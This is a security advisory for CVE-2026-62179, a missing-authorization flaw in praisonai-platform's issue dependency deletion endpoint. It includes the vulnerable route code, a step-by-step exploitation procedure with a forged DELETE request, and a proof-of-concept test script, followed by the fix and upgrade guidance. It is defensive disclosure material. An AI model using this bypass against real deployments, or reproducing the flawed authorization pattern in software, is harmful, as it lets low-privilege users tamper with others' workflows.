CVE-2026-62179: Missing Authorization in praisonai-platform Dependency Deletion Route

The praisonai-platform package provides multi-agent team orchestration and workflow planning features. Within this architecture, task execution order and multi-agent operations are managed using issues and dependency models. These dependencies represent critical relationships such as blocks, blockages, or associations between tasks, ensuring order and operational integrity. Standard workspace members should possess restricted permissions, preventing them from modifying or deleting workflow structures established by workspace owners or administrators.

A logic and missing authorization vulnerability (CWE-862 / CWE-863) exists in the platform's issue dependency deletion route. Standard workspace members can exploit this issue to remove owner-defined issue dependencies. An attacker can perform this actions by routing deletion requests through issues they own, bypassing role-based privilege restrictions.

The vulnerability is constrained to praisonai-platform packages older than version 0.1.9. Exploitation requires network access and standard authenticated credentials inside an active workspace, meaning the attack complexity is low and privileges required are low.

The root cause of the authorization bypass is the dependency on caller-controlled path parameters to evaluate access permissions. The vulnerable endpoint is mapped to the path /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}. Inside the route implementation, the application parses the {issue_id} to retrieve an associated issue object and evaluate permission settings.

When verifying the target dependency {dep_id}, the database query validates if the record is connected to {issue_id}. However, the system permits a match if the dependency target matches {issue_id} on either the primary side (dep.issue_id) or the relation target side (dep.depends_on_issue_id). This permits a loose matching scheme where a single dependency record can be bound to two different issues owned by separate users.

After locating the dependency, the application verifies the user's deletion privilege using the require_delete_permission dependency injector, which checks permissions against issue.creator_id. Because the route references the user-provided {issue_id} from the path rather than the resource's primary owner, an attacker can bypass authorization. By using a member-owned {issue_id} that is linked via a dependency to an administrator's issue, the application checks permissions against the member's ID instead of the administrator's ID. This evaluation succeeds, resulting in the unauthorized deletion of the relation mapping.

The endpoint checks authorization boundaries by loading the issue parameter from the URL path, as illustrated in the following flow diagram:

To understand the exact code-level defect, consider this high-fidelity representation of the vulnerable API routing logic in dependencies.py:

# VULNERABLE ROUTE IMPLEMENTATION (praisonai-platform < 0.1.9)
@router.delete("/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}")
async def delete_dependency(
    workspace_id: str,
    issue_id: str,
    dep_id: str,
    db: Session = Depends(get_db),
    # The validation is bound strictly to the URL's issue_id
    current_user: User = Depends(get_current_user),
):
    # 1. Fetch the user-supplied issue context
    issue = await get_issue_by_id(db, issue_id)
    
    # 2. Match dependency if it belongs to issue_id as either source or target
    dependency = await db.query(Dependency).filter(
        Dependency.id == dep_id,
        (Dependency.issue_id == issue_id) | (Dependency.depends_on_issue_id == issue_id)
    ).first()
    
    if not dependency:
        raise HTTPException(status_code=404, detail="Dependency not found")
        
    # 3. CRITICAL FLAW: Permissions evaluated using caller-supplied issue's creator
    # If the user owns 'issue_id', they are permitted to delete the entire relationship 'dep_id'.
    await require_delete_permission(workspace_id, current_user, db, resource_owner_id=issue.creator_id)
    
    await db.delete(dependency)
    await db.commit()
    return Response(status_code=204)

In the patched version, the application corrects this defect. Instead of relying on the issue ID supplied in the request path to evaluate the resource owner, the handler retrieves the dependency model directly from the database first, extracts the parent issue owner context (Dependency.issue_id), and forces authorization checks to evaluate against the owner of the source task.

An attacker with standard authenticated member permissions can complete the bypass using the following procedure. First, the attacker identifies a dependency ID (dep_id) associated with a high-priority, administrator-owned issue (Owner_Issue). Second, the attacker establishes a related issue (Member_Issue) that they own within the same workspace.

Third, the attacker generates an association or identifies a linked relation between Owner_Issue and Member_Issue. Finally, instead of executing the deletion request against the administrator's issue route, which returns a 403 Forbidden error, the attacker executes the request against their own issue path using the target dependency ID:

DELETE /api/v1/workspaces/workspace-123/issues/Member_Issue/dependencies/dep_abc
Authorization: Bearer <member_token>

The following Python script replicates the complete lifecycle of the vulnerability, establishing the database state and verifying the bypass:

# Selected excerpt of proof-of-concept verification illustrating the bypass
async def test_exploit_path(client, workspace_id, owner_headers, member_headers):
    # Create administrator issue
    owner_issue_id = await create_issue(client, workspace_id, owner_headers, "Admin Task")
    # Create member-owned issue
    member_issue_id = await create_issue(client, workspace_id, member_headers, "Member Task")
 
    # Establish dependency link
    dep_resp = await client.post(
        f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
        json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
        headers=owner_headers,
    )
    dep_id = dep_resp.json()["id"]
 
    # Attempt direct deletion (Expected block)
    resp_direct = await client.delete(
        f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}",
        headers=member_headers,
    )
    assert resp_direct.status_code == 403  # Enforced
 
    # Exploit via member-owned issue (The bypass)
    resp_bypass = await client.delete(
        f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}",
        headers=member_headers,
    )
    assert resp_bypass.status_code == 204  # Bypassed and Deleted

The security impact of CVE-2026-62179 is restricted to loss of integrity within workflow designs. An attacker can delete relationship records, causing dependent structures to break. In multi-agent platforms, task dependencies control execution pipelines; removing dependencies out of order can trigger race conditions, execution state mismatch, or premature automation actions.

The vulnerability is classified with a CVSS v3.1 score of 6.5 (Medium). The vector is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N. Because confidential data is not exposed and the main system remains online, both Confidentiality and Availability impacts are marked None.

The vulnerability has not been added to CISA's Known Exploited Vulnerabilities catalog. Given the highly targeted use case of PraisonAI within specialized multi-agent planning frameworks, active targeting of this vulnerability in the wild is expected to be minimal unless exposure occurs in hosted SaaS variants.

Remediation of CVE-2026-62179 requires upgrading the platform package. Users must update praisonai-platform to version 0.1.9 or later, which contains the authorization fixes.

pip install --upgrade praisonai-platform>=0.1.9

From a secure design perspective, developers should ensure that authorization checks are performed on the resource target itself rather than the request path parameters. When working with relational models, identify the primary object owner of the relationship (or both endpoints) before authorizing any destructive actions.

Additionally, validation checks must be enforced during the creation stage. Standard workspace members should not be allowed to define dependencies on issues owned by administrators without having write access to both target endpoints.